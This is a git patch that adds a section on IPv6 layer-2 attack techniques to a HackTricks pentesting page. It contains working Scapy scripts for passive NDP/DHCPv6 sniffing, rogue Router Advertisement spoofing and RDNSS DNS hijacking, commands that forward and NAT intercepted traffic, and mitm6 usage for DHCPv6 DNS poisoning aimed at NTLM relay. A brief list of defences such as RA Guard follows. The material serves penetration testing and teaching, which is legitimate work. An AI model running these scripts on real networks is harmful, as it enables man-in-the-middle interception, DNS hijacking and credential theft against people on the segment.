From 3237c2a4fdec83b7e5bf5359ab82c8a03277e314 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 24 Jul 2025 01:33:06 +0000 Subject: [PATCH] Add content from: Legless: IPv6 Penetration Testing --- .../pentesting-network/pentesting-ipv6.md | 181 +++++++++++++++++- 1 file changed, 180 insertions(+), 1 deletion(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md index bede07f64..58f60faf0 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md @@ -112,12 +112,191 @@ To identify IPv6 addresses, certain DNS record types can be queried: After pinpointing IPv6 addresses associated with an organization, the `ping6` utility can be used for probing. This tool helps in assessing the responsiveness of identified IPv6 addresses, and might also assist in discovering adjacent IPv6 devices. +## IPv6 Local Network Attack Techniques + +The following sections cover practical layer-2 IPv6 attacks that can be executed **inside the same /64 segment** without knowing any global prefix. All the packets shown below are **link-local** and travel only through the local switch, making them extremely stealthy in most environments. + +### System Tuning for a Stable Lab + +Before playing with IPv6 traffic it is recommended to harden your box to avoid being poisoned by your own tests and to get the best performance during massive packet injection/sniffing. + +```bash +# Enable promiscuous mode to capture all frames +sudo ip link set dev eth0 promisc on + +# Ignore rogue Router Advertisements & Redirects coming from the segment +sudo sysctl -w net.ipv6.conf.all.accept_ra=0 +sudo sysctl -w net.ipv6.conf.all.accept_redirects=0 + +# Increase fd / backlog limits when generating lots of traffic +sudo sysctl -w fs.file-max=100000 +sudo sysctl -w net.core.somaxconn=65535 +sudo sysctl -w net.ipv4.tcp_tw_reuse=1 +``` + +### Passive NDP & DHCPv6 Sniffing + +Because every IPv6 host **automatically joins multiple multicast groups** (`ff02::1`, `ff02::2`, …) and speaks ICMPv6 for SLAAC/NDP, you can map the whole segment without sending a single packet. The following Python/Scapy one-liner listens for the most interesting L2 messages and prints a colored, timestamped log of who is who: + +```python +#!/usr/bin/env python3 +from scapy.all import * +from scapy.layers.dhcp6 import * +from datetime import datetime +from colorama import Fore, Style, init +import argparse + +init(autoreset=True) + +# Human-readable names for protocols we care about +DHCP6_TYPES = { + DHCP6_Solicit: 'Solicit', + DHCP6_Advertise: 'Advertise', + DHCP6_Request: 'Request', + DHCP6_Reply: 'Reply', + DHCP6_Renew: 'Renew', + DHCP6_Rebind: 'Rebind', + DHCP6_RelayForward:'Relay-Forward', + DHCP6_RelayReply: 'Relay-Reply' +} +ICMP6_TYPES = { + ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN), + ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN), + ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE), + ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA), + ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX), + ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX), + ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX), + ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX), + ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX), + ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX) +} + +def handler(pkt): + eth_src = pkt[Ether].src if Ether in pkt else '?' + eth_dst = pkt[Ether].dst if Ether in pkt else '?' + ip6_src = pkt[IPv6].src if IPv6 in pkt else '?' + ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?' + + # Identify protocol family first + for proto,(desc,color) in ICMP6_TYPES.items(): + if proto in pkt: + break + else: + if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port + for dhcp_t,name in DHCP6_TYPES.items(): + if dhcp_t in pkt: + desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break + else: + return # not a DHCPv6 message we track + else: + return # not interesting + + print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}") + print(f" MAC {eth_src} -> {eth_dst}") + print(f" IPv6 {ip6_src} -> {ip6_dst}") + print('-'*60) + +if __name__ == '__main__': + argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer') + argp.add_argument('-i','--interface',required=True,help='Interface to sniff') + argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)') + a = argp.parse_args() + sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0) +``` + +Result: a full **link-local topology** (MAC ⇄ IPv6) in a matter of seconds, without triggering IPS/IDS systems that rely on active scans. + +### Router Advertisement (RA) Spoofing + +IPv6 hosts rely on **ICMPv6 Router Advertisements** for default-gateway discovery. If you inject forged RAs **more frequently** than the legitimate router, devices will silently switch to you as the gateway. + +```python +#!/usr/bin/env python3 +from scapy.all import * +import argparse + +p = argparse.ArgumentParser() +p.add_argument('-i','--interface',required=True) +p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)') +p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef') +p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime') +p.add_argument('--interval',type=int,default=5,help='Seconds between RAs') +p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack') +args = p.parse_args() + +lifetime = 0 if args.revert else args.lifetime +ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ + ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference + ICMPv6NDOptSrcLLAddr(lladdr=args.mac)) + +send(ra,iface=args.interface,loop=1,inter=args.interval) +``` + +To actually **forward traffic** after winning the race: + +```bash +sudo sysctl -w net.ipv6.conf.all.forwarding=1 +sudo ip6tables -A FORWARD -i eth0 -j ACCEPT +sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` + +### RDNSS (DNS) Spoofing via RA + +[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) allows adding a **Recursive DNS Server (RDNSS)** option inside a RA. Modern OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatically trust it: + +```python +#!/usr/bin/env python3 +from scapy.all import * +import argparse + +p = argparse.ArgumentParser() +p.add_argument('-i','--interface',required=True) +p.add_argument('--llip',required=True) +p.add_argument('--dns',required=True,help='Fake DNS IPv6') +p.add_argument('--lifetime',type=int,default=600) +p.add_argument('--interval',type=int,default=5) +args = p.parse_args() + +ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ + ICMPv6ND_RA(routerlifetime=0)/ + ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime)) + +send(ra,iface=args.interface,loop=1,inter=args.interval) +``` + +Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert. + +### DHCPv6 DNS Spoofing (mitm6) + +Instead of SLAAC, Windows networks often depend on **stateless DHCPv6** for DNS. [mitm6](https://github.com/rofl0r/mitm6) automatically replies to `Solicit` messages with an **Advertise → Reply** flow that assigns **your link-local address as DNS for 300 seconds**. This unlocks: + +* NTLM relay attacks (WPAD + DNS hijacking) +* Intercepting internal name resolution without touching routers + +Typical usage: + +```bash +sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning +``` + +### Defences + +* **RA Guard / DHCPv6 Guard / ND Inspection** on managed switches. +* Port ACLs that allow only the legitimate router’s MAC to send RAs. +* Monitor for **unsolid high-rate RAs** or sudden **RDNSS changes**. +* Disabling IPv6 on endpoints is a temporary workaround that often breaks modern services and hides blind spots – prefer L2 filtering instead. + + + ## References +- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/) +- [mitm6](https://github.com/rofl0r/mitm6) +- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106) - [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) - [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904) {{#include ../../banners/hacktricks-training.md}} -